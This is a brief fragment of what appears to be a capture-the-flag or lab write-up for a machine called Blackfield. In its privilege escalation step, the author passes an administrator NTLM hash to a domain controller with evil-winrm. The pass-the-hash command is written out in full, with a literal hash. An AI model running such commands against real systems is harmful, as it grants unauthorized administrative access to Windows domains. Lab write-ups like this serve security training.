PrivEsc

We cannot crack the administrator hash so PtH it is.

evil-winrm -i dc01.blackfield.local -u administrator -H 184fb5e5178480be64824d4cd53b99ee